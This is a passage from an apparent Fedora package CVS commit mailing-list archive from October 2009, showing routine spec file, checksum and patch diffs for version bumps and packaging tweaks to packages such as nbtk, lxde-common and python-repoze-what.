 Release:        1%{?dist}
 Summary:        Moblin Panel for Media
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
+- New upstream 0.0.6 release
+
 * Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
 - New upstream 0.0.4 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-media/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	16 Oct 2009 23:47:37 -0000	1.5
+++ sources	26 Oct 2009 23:17:49 -0000	1.6
@@ -1 +1 @@
-f990e5e93da9ceec683d5c5273749103  moblin-panel-media-0.0.4.tar.bz2
+2dc386d6f99e1ca9543f9d142811bfcc  moblin-panel-media-0.0.6.tar.bz2



From whot at fedoraproject.org  Mon Oct 26 23:19:40 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 26 Oct 2009 23:19:40 +0000 (UTC)
Subject: rpms/evtest/F-11 evtest.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091026231940.D136211C0264@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/evtest/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25576

Modified Files:
	.cvsignore sources 
Added Files:
	evtest.spec 
Log Message:
* Wed Oct 21 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.23-1
- Initial package



--- NEW FILE evtest.spec ---
Name:           evtest
Version:        1.23
Release:        1%{?dist}
Summary:        Event device test program

Group:          Development/Tools
License:        GPLv2+
URL:            http://cgit.freedesktop.org/~whot/evtest/
Source0:        http://cgit.freedesktop.org/~whot/%{name}/snapshot/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  automake

%description
%{name} is a simple utility to query information about input devices 
and watch the event stream generated by input devices.

%prep
%setup -q

%build
autoreconf -v --install || exit 1
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%{_bindir}/%{name}
%doc COPYING
%{_mandir}/man1/evtest.1*

%changelog
* Wed Oct 21 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.23-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:16:04 -0000	1.1
+++ .cvsignore	26 Oct 2009 23:19:40 -0000	1.2
@@ -0,0 +1 @@
+evtest-1.23.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evtest/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:16:04 -0000	1.1
+++ sources	26 Oct 2009 23:19:40 -0000	1.2
@@ -0,0 +1 @@
+6cc165aa2ffe8a9f6dd8419f43a8ca87  evtest-1.23.tar.bz2



From sparks at fedoraproject.org  Mon Oct 26 23:19:51 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Mon, 26 Oct 2009 23:19:51 +0000 (UTC)
Subject: rpms/fedora-security-guide-en-US/F-11
	fedora-security-guide-en-US.spec, 1.4, 1.5 import.log, 1.3,
	1.4 sources, 1.5, 1.6
Message-ID: <20091026231951.BC80D11C0264@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25592/F-11

Modified Files:
	fedora-security-guide-en-US.spec import.log sources 
Log Message:
Updated license to CC-BY-SA.



Index: fedora-security-guide-en-US.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/fedora-security-guide-en-US.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- fedora-security-guide-en-US.spec	26 Oct 2009 22:59:10 -0000	1.4
+++ fedora-security-guide-en-US.spec	26 Oct 2009 23:19:51 -0000	1.5
@@ -9,7 +9,7 @@
 
 Name:	fedora-security-guide-en-US
 Version:	1.0
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	A Guide to Securing Fedora Linux
 Group:		Documentation
 License:	Open Publication


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	26 Oct 2009 22:59:10 -0000	1.3
+++ import.log	26 Oct 2009 23:19:51 -0000	1.4
@@ -1,3 +1,4 @@
 fedora-security-guide-en-US-1_0-14_fc11:F-11:fedora-security-guide-en-US-1.0-14.fc11.src.rpm:1247541206
 fedora-security-guide-en-US-1_0-17_fc11:F-11:fedora-security-guide-en-US-1.0-17.fc11.src.rpm:1248749919
 fedora-security-guide-en-US-1_0-18_fc11:F-11:fedora-security-guide-en-US-1.0-18.fc11.src.rpm:1256597951
+fedora-security-guide-en-US-1_0-19_fc11:F-11:fedora-security-guide-en-US-1.0-19.fc11.src.rpm:1256599199


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	26 Oct 2009 22:59:11 -0000	1.5
+++ sources	26 Oct 2009 23:19:51 -0000	1.6
@@ -1 +1 @@
-b6014b756a5839f85d33a2dbe29743bb  fedora-security-guide-en-US-1.0.tgz
+231ccb3a7532dddf4f79f5397d22db6a  fedora-security-guide-en-US-1.0.tgz



From lmacken at fedoraproject.org  Mon Oct 26 23:21:41 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 26 Oct 2009 23:21:41 +0000 (UTC)
Subject: rpms/python-repoze-what/F-12 python-repoze-what.spec,1.4,1.5
Message-ID: <20091026232141.E083C11C0264@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26527

Modified Files:
	python-repoze-what.spec 
Log Message:
Require python-repoze-who-testutil


Index: python-repoze-what.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what/F-12/python-repoze-what.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-repoze-what.spec	10 Aug 2009 18:58:52 -0000	1.4
+++ python-repoze-what.spec	26 Oct 2009 23:21:39 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           python-repoze-what
 Version:        1.0.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Authorization for WSGI applications
 
 Group:          Development/Languages
@@ -25,6 +25,7 @@ BuildRequires:  python-repoze-who-testut
 BuildRequires:  python-coverage
 
 Requires:       python-repoze-who
+Requires:       python-repoze-who-testutil
 Requires:       python-paste
 
 %description
@@ -86,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-5
+- Require python-repoze-who-testutil
+
 * Mon Aug 10 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-4
 - Get the test suite working
 



From sparks at fedoraproject.org  Mon Oct 26 23:22:46 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Mon, 26 Oct 2009 23:22:46 +0000 (UTC)
Subject: rpms/fedora-security-guide-en-US/F-12
	fedora-security-guide-en-US.spec, 1.7, 1.8 import.log, 1.6,
	1.7 sources, 1.7, 1.8
Message-ID: <20091026232246.0737A11C0264@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/fedora-security-guide-en-US/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26993/F-12

Modified Files:
	fedora-security-guide-en-US.spec import.log sources 
Log Message:
Updated license to CC-BY-SA.



Index: fedora-security-guide-en-US.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-12/fedora-security-guide-en-US.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fedora-security-guide-en-US.spec	5 Aug 2009 21:07:53 -0000	1.7
+++ fedora-security-guide-en-US.spec	26 Oct 2009 23:22:45 -0000	1.8
@@ -9,7 +9,7 @@
 
 Name:	fedora-security-guide-en-US
 Version:	1.0
-Release:	18%{?dist}
+Release:	19%{?dist}
 Summary:	A Guide to Securing Fedora Linux
 Group:		Documentation
 License:	Open Publication
@@ -71,7 +71,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/%{name}.desktop
 
 %changelog
-* Wed Aug 05 2009 Eric Chrisetnsen sparks at fedoraproject.org 1.0-18
+* Mon Oct 26 2009 Eric Christensen sparks at fedoraproject.org 1.0-19
+- Updated license to CC-BY-SA.
+
+
+* Wed Aug 05 2009 Eric Christensen sparks at fedoraproject.org 1.0-18
 - Fixed issues related to Bug 515043.
 
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-12/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	5 Aug 2009 21:07:53 -0000	1.6
+++ import.log	26 Oct 2009 23:22:45 -0000	1.7
@@ -4,3 +4,4 @@ fedora-security-guide-en-US-1_0-15_fc11:
 fedora-security-guide-en-US-1_0-16_fc11:HEAD:fedora-security-guide-en-US-1.0-16.fc11.src.rpm:1248747665
 fedora-security-guide-en-US-1_0-17_fc11:HEAD:fedora-security-guide-en-US-1.0-17.fc11.src.rpm:1248747911
 fedora-security-guide-en-US-1_0-18_fc11:HEAD:fedora-security-guide-en-US-1.0-18.fc11.src.rpm:1249506430
+fedora-security-guide-en-US-1_0-19_fc11:F-12:fedora-security-guide-en-US-1.0-19.fc11.src.rpm:1256599358


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-security-guide-en-US/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	5 Aug 2009 21:07:53 -0000	1.7
+++ sources	26 Oct 2009 23:22:45 -0000	1.8
@@ -1 +1 @@
-1a916ec50f585e6fa51f0af7e94292a4  fedora-security-guide-en-US-1.0.tgz
+231ccb3a7532dddf4f79f5397d22db6a  fedora-security-guide-en-US-1.0.tgz



From lmacken at fedoraproject.org  Mon Oct 26 23:24:00 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 26 Oct 2009 23:24:00 +0000 (UTC)
Subject: rpms/python-repoze-what/F-12 python-repoze-what.spec,1.5,1.6
Message-ID: <20091026232400.08C9011C0264@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27813

Modified Files:
	python-repoze-what.spec 
Log Message:
Rev bump to hack around CVS tags


Index: python-repoze-what.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what/F-12/python-repoze-what.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-repoze-what.spec	26 Oct 2009 23:21:39 -0000	1.5
+++ python-repoze-what.spec	26 Oct 2009 23:23:59 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           python-repoze-what
 Version:        1.0.8
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Authorization for WSGI applications
 
 Group:          Development/Languages
@@ -87,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-6
+- Rev bump to hack around CVS tags
+
 * Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-5
 - Require python-repoze-who-testutil
 



From lmacken at fedoraproject.org  Mon Oct 26 23:30:47 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 26 Oct 2009 23:30:47 +0000 (UTC)
Subject: rpms/python-repoze-what/F-11 python-repoze-what.spec,1.3,1.4
Message-ID: <20091026233048.EB4BB11C0268@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30204

Modified Files:
	python-repoze-what.spec 
Log Message:
Require python-repoze-who-testutil


Index: python-repoze-what.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what/F-11/python-repoze-what.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-repoze-what.spec	10 Aug 2009 19:04:40 -0000	1.3
+++ python-repoze-what.spec	26 Oct 2009 23:30:46 -0000	1.4
@@ -2,7 +2,7 @@
 
 Name:           python-repoze-what
 Version:        1.0.8
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Authorization for WSGI applications
 
 Group:          Development/Languages
@@ -25,6 +25,7 @@ BuildRequires:  python-repoze-who-testut
 BuildRequires:  python-coverage
 
 Requires:       python-repoze-who
+Requires:       python-repoze-who-testutil
 Requires:       python-paste
 
 %description
@@ -85,6 +86,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-4
+- Require python-repoze-who-testutil
+
 * Mon Aug 10 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-3
 - Get the test suite working
 



From jkeating at fedoraproject.org  Mon Oct 26 23:39:35 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Mon, 26 Oct 2009 23:39:35 +0000 (UTC)
Subject: rpms/trac-git-plugin/F-11 sources, 1.3, 1.4 trac-git-plugin.spec,
	1.8, 1.9
Message-ID: <20091026233935.2799B11C0264@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/trac-git-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2536

Modified Files:
	sources trac-git-plugin.spec 
Log Message:
* Fri Oct 16 2009 Tim Niemueller <tim at niemueller.de> - 0.11.0.2-5.20091016svn6442
- Update to latest trunk version



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/trac-git-plugin/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 May 2009 21:24:19 -0000	1.3
+++ sources	26 Oct 2009 23:39:30 -0000	1.4
@@ -1 +1 @@
-664abf879b3fe02e90315d22b2146c6a  TracGit-0.11.0.2.tar.gz
+138117171917da7f4fd9a83191c376ab  TracGit-0.11.0.2.tar.gz


Index: trac-git-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-git-plugin/F-11/trac-git-plugin.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- trac-git-plugin.spec	12 May 2009 21:24:19 -0000	1.8
+++ trac-git-plugin.spec	26 Oct 2009 23:39:30 -0000	1.9
@@ -1,11 +1,11 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define svnrev 5396
+%define svnrev 6442
 
 Name:           trac-git-plugin
 Version:        0.11.0.2
-Release:        4.20090511svn%{svnrev}%{?dist}
+Release:        5.20091016svn%{svnrev}%{?dist}
 Summary:        GIT version control plugin for Trac
 
 Group:          Applications/Internet
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Tim Niemueller <tim at niemueller.de> - 0.11.0.2-5.20091016svn6442
+- Update to latest trunk version
+
 * Mon May 11 2009 Jesse Keating <jkeating at redhat.com> - 0.11.0.2-2.20090511svn5396
 - Drop COPYING, it doesn't make it into the tarball.
 



From pbrobinson at fedoraproject.org  Mon Oct 26 23:42:44 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:42:44 +0000 (UTC)
Subject: rpms/nbtk/devel .cvsignore, 1.8, 1.9 nbtk.spec, 1.30, 1.31 sources, 
	1.9, 1.10
Message-ID: <20091026234244.8007F11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/nbtk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4403

Modified Files:
	.cvsignore nbtk.spec sources 
Log Message:
- New upstream 1.1.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Oct 2009 18:47:28 -0000	1.8
+++ .cvsignore	26 Oct 2009 23:42:43 -0000	1.9
@@ -1 +1 @@
-nbtk-1.1.7.tar.bz2
+nbtk-1.1.9.tar.bz2


Index: nbtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/nbtk.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- nbtk.spec	10 Oct 2009 18:47:28 -0000	1.30
+++ nbtk.spec	26 Oct 2009 23:42:43 -0000	1.31
@@ -1,5 +1,5 @@
 Name:           nbtk
-Version:        1.1.7
+Version:        1.1.9
 Release:        1%{?dist}
 Summary:        A toolkit for moblin NetBooks
 
@@ -86,6 +86,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.9-1
+- New upstream 1.1.9 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.7-1
 - New upstream 1.1.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	10 Oct 2009 18:47:28 -0000	1.9
+++ sources	26 Oct 2009 23:42:43 -0000	1.10
@@ -1 +1 @@
-34cff44f9258e0d9b5d846773dd8d0b2  nbtk-1.1.7.tar.bz2
+697835b99ceb9c250ed5aeaae62776bb  nbtk-1.1.9.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 26 23:42:45 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 26 Oct 2009 23:42:45 +0000 (UTC)
Subject: rpms/lxde-common/devel
	lxde-common-0.3.2.1-gdm-number-of-desktops.patch, 1.1,
	1.2 lxde-common-0.4-lxpanel-config.patch, 1.4,
	1.5 lxde-common.spec, 1.13, 1.14
Message-ID: <20091026234245.5E59911C0264@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/lxde-common/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4285

Modified Files:
	lxde-common-0.3.2.1-gdm-number-of-desktops.patch 
	lxde-common-0.4-lxpanel-config.patch lxde-common.spec 
Log Message:
* Tue Oct 27 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Final tweaks for the LXDE Spin


lxde-common-0.3.2.1-gdm-number-of-desktops.patch:
 startlxde.in |    3 +++
 1 file changed, 3 insertions(+)

Index: lxde-common-0.3.2.1-gdm-number-of-desktops.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/devel/lxde-common-0.3.2.1-gdm-number-of-desktops.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lxde-common-0.3.2.1-gdm-number-of-desktops.patch	1 Nov 2008 02:53:36 -0000	1.1
+++ lxde-common-0.3.2.1-gdm-number-of-desktops.patch	26 Oct 2009 23:42:40 -0000	1.2
@@ -1,16 +1,11 @@
 --- lxde-common-0.3.2.1.orig/startlxde.in	2008-04-20 10:26:19.000000000 +0200
 +++ lxde-common-0.3.2.1/startlxde.in	2008-11-01 01:52:54.000000000 +0100
-@@ -18,6 +18,14 @@
+@@ -18,6 +18,9 @@
      cp @prefix@/share/lxde/openbox/rc.xml "$OPENBOX_CONF_DIR/lxde-rc.xml"
  fi
  
-+# Workaround for gdm, openbox and the number of desktops
-+NUMBER_DESKTOPS=`grep \<number\> "$OPENBOX_CONF_DIR/lxde-rc.xml" | awk -F \> {'print $2}' | awk -F \< {'print $1}'`
-+if test x"`which wmctrl 2>/dev/null`" != x""; then
-+    (until [ `wmctrl -d | wc -l ` = "$NUMBER_DESKTOPS" ];do
-+	wmctrl -n "$NUMBER_DESKTOPS"
-+    done) &
-+fi
++# Clean up after GDM
++xprop -root -remove _NET_NUMBER_OF_DESKTOPS -remove _NET_DESKTOP_NAMES -remove _NET_CURRENT_DESKTOP 2> /dev/null
 +
  # Enable GTK+2 integration for OpenOffice.org, if available.
  export SAL_USE_VCLPLUGIN=gtk

lxde-common-0.4-lxpanel-config.patch:
 config   |    2 +-
 panel.in |   14 +++++++++-----
 2 files changed, 10 insertions(+), 6 deletions(-)

Index: lxde-common-0.4-lxpanel-config.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/devel/lxde-common-0.4-lxpanel-config.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- lxde-common-0.4-lxpanel-config.patch	25 Jul 2009 02:02:13 -0000	1.4
+++ lxde-common-0.4-lxpanel-config.patch	26 Oct 2009 23:42:43 -0000	1.5
@@ -27,7 +27,7 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
      type = menu
      Config {
 -        image=@prefix@/share/lxde/images/lxde-icon.png
-+        image=start-here.png
++        image=@prefix@/share/icons/Bluecurve/24x24/apps/icon-panel-menu.png
          system {
          }
          separator {
@@ -37,7 +37,7 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
              command=run
          }
          separator {
-@@ -50,10 +51,13 @@
+@@ -50,10 +51,10 @@
      type = launchbar
      Config {
          Button {
@@ -47,24 +47,10 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
          Button {
 -            id=firefox.desktop
 +            id=fedora-lxterminal.desktop
-+        }
-+        Button {
-+            id=mozilla-firefox.desktop
          }
      }
  }
-@@ -122,6 +126,10 @@
- }
- 
- Plugin {
-+    type = volumealsa
-+}
-+
-+Plugin {
-     type = dclock
-     Config {
-         ClockFmt=%R
-@@ -134,6 +142,9 @@
+@@ -134,6 +135,9 @@
      type = launchbar
      Config {
          Button {


Index: lxde-common.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/devel/lxde-common.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- lxde-common.spec	25 Jul 2009 02:02:13 -0000	1.13
+++ lxde-common.spec	26 Oct 2009 23:42:43 -0000	1.14
@@ -2,7 +2,7 @@
 
 Name:           lxde-common
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Default configuration files for LXDE
 
 Group:          User Interface/Desktops
@@ -20,8 +20,7 @@ Patch13:        %{name}-0.3.2.1-logout-b
 Patch14:        %{name}-0.4-olpc-keyboard-shortcuts.patch
 # Pulseaudio
 Patch4:         %{name}-0.4-pulseaudio.patch
-# Because of new gdm
-# http://icculus.org/cgi-bin/ezmlm/ezmlm-cgi?24:mss:5608:200804:keopkmedognljeggknac
+# Because of new gdm, committed to upstream SVN
 Patch5:         %{name}-0.3.2.1-gdm-number-of-desktops.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -34,8 +33,8 @@ Requires:       system-logos
 Requires:       desktop-backgrounds-basic
 %else
 Requires:       desktop-backgrounds-compat
-# needed for new gdm workaround
-Requires:       wmctrl
+# needed for new gdm fix
+Requires:       xorg-x11-utils
 %endif
 Obsoletes:      %{name}-data <= 0.3.2.1-5
 # needed because the lxde-common and lxde-common-data 
@@ -49,17 +48,6 @@ This package contains the configuration 
 Desktop Environment.
 
 
-%package -n     lxde-icon-theme
-Summary:        Default icon theme for LXDE
-Group:          User Interface/Desktops
-License:        LGPLv3
-URL:            http://nuovext.pwsp.net/
-
-%description -n lxde-icon-theme
-nuoveXT is a very complete set of icons for Linux, Mac OS X and Windows. It is
-also the default icon-theme of LXDE, the Lightweight X11 Desktop Environment.
-
-
 %prep
 %setup -q
 %patch10 -p1 -b .orig
@@ -81,35 +69,20 @@ also the default icon-theme of LXDE, the
 %install
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT INSTALL='install -p'
-# only used by obsolete lxsession, not lxsession-lite
-rm -f $RPM_BUILD_ROOT%{_sysconfdir}/xdg/lxsession/LXDE/default
 desktop-file-install                                           \
       --dir=%{buildroot}%{_datadir}/applications               \
       lxde-logout.desktop
 desktop-file-install                                           \
       --dir=%{buildroot}%{_datadir}/applications               \
       %{SOURCE1}
+# the icon theme is packaged in a different package
+rm -rf $RPM_BUILD_ROOT%{_datadir}/icons/
 
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 
-%post -n lxde-icon-theme
-touch --no-create %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-
-
-%postun -n lxde-icon-theme
-if [ $1 -eq 0 ] ; then
-    touch --no-create %{_datadir}/icons/nuoveXT2 &>/dev/null
-    gtk-update-icon-cache %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-fi
-
-
-%posttrans -n lxde-icon-theme
-gtk-update-icon-cache %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-
-
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING
@@ -125,13 +98,11 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/xsessions/LXDE.desktop
 %{_datadir}/applications/lxde-*.desktop
 
-%files -n lxde-icon-theme
-%doc icon-theme/AUTHORS icon-theme/COPYING
-%defattr(-,root,root,-)
-%{_datadir}/icons/nuoveXT2/
-
 
 %changelog
+* Tue Oct 27 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Final tweaks for the LXDE Spin
+
 * Sat Jul 25 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 - Disable OLPC keyboard shortcuts for now, they interfere with OpenOffice



From pbrobinson at fedoraproject.org  Mon Oct 26 23:51:54 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 23:51:54 +0000 (UTC)
Subject: rpms/nbtk/F-12 .cvsignore, 1.8, 1.9 nbtk.spec, 1.30, 1.31 sources,
	1.9, 1.10
Message-ID: <20091026235154.64FD911C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/nbtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9464

Modified Files:
	.cvsignore nbtk.spec sources 
Log Message:
- New upstream 1.1.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Oct 2009 20:50:33 -0000	1.8
+++ .cvsignore	26 Oct 2009 23:51:53 -0000	1.9
@@ -1 +1 @@
-nbtk-1.1.7.tar.bz2
+nbtk-1.1.9.tar.bz2


Index: nbtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/nbtk.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- nbtk.spec	10 Oct 2009 20:50:34 -0000	1.30
+++ nbtk.spec	26 Oct 2009 23:51:53 -0000	1.31
@@ -1,5 +1,5 @@
 Name:           nbtk
-Version:        1.1.7
+Version:        1.1.9
 Release:        1%{?dist}
 Summary:        A toolkit for moblin NetBooks
 
@@ -86,6 +86,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.9-1
+- New upstream 1.1.9 release
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.7-1
 - New upstream 1.1.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	10 Oct 2009 20:50:34 -0000	1.9
+++ sources	26 Oct 2009 23:51:53 -0000	1.10
@@ -1 +1 @@
-34cff44f9258e0d9b5d846773dd8d0b2  nbtk-1.1.7.tar.bz2
+697835b99ceb9c250ed5aeaae62776bb  nbtk-1.1.9.tar.bz2



From mbarnes at fedoraproject.org  Mon Oct 26 23:54:40 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Mon, 26 Oct 2009 23:54:40 +0000 (UTC)
Subject: rpms/gtkhtml3/devel .cvsignore, 1.104, 1.105 gtkhtml3.spec, 1.161, 
	1.162 sources, 1.104, 1.105
Message-ID: <20091026235440.D0EB111C0264@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/gtkhtml3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10577

Modified Files:
	.cvsignore gtkhtml3.spec sources 
Log Message:

* Mon Oct 26 2009 Matthew Barnes <mbarnes at redhat.com> - 3.29.1-1.fc13
- Update to 3.29.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/.cvsignore,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
